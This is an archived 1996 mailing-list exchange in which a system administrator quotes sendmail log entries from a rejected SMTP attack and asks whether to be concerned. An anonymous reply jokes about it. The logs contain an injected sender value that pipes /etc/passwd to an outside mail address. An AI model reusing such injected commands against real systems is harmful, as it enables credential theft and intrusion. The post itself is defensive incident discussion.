On Wed, 27 Mar 1996, Anonymous wrote:
Date: Wed, 27 Mar 1996 16:58:14 +1100 Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG> Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG> From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU> Subject: Strange things afoot at my SMTP port... To: Multiple recipients of list SERVER-LINUX <SERVER-LINUX@NETSPACE.ORG>
I just found these while going through my messages file... do I have any need to be concerned??? (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable, received from unicorn.it.wsu.edu [1 Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0, nrcpts=0, proto=SMTP, relay=uni
There were also attempts at connecting to my tftp port, although at the time, in.tftpd wasn't on the system (it is now, and is also in my hosts.deny to all except for local)
Thanks...
You should be deeply concerned. It's clear that I have been having blackouts again.
Interspace Australia Pty Ltd Steve Gibson - System Administrator <steve@interspace.com.au>
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